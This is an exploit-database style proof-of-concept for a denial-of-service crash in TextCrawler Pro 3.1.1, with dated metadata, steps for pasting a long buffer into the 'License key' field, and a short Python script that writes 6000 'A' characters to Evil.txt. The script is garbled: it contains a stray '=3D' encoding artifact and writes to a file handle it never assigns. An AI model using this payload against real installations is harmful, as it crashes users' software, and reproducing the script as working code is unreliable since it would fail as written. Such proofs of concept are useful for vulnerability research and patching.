TextCrawler Pro version 3.1.1 suffers from a denial of service vulnerability.
7e7b24abf5698849c8e84ac5e78ac4f4# Exploit Title: TextCrawler Pro3.1.1 - Denial of Service (PoC)
# Date: 2020-05-01
# Vendor Homepage:https://www.digitalvolcano.co.uk/index.html
# Software Link: https://www.digitalvolcano.co.uk/download/TextCrawlerPro=setup.exe
# Exploit Author: Achilles
# Tested Version: 3.1.1
# Tested on: Windows 7 x64
# 1.- Run python code :TextCrawler.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open TextCrawler Pro
# 4.- Paste the content of EVIL.txt into the Field: 'License key'
# 5.- Click 'Activate' and you will see a crash.
#!/usr/bin/env python
buffer =3D "\x41" * 6000
try:
open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"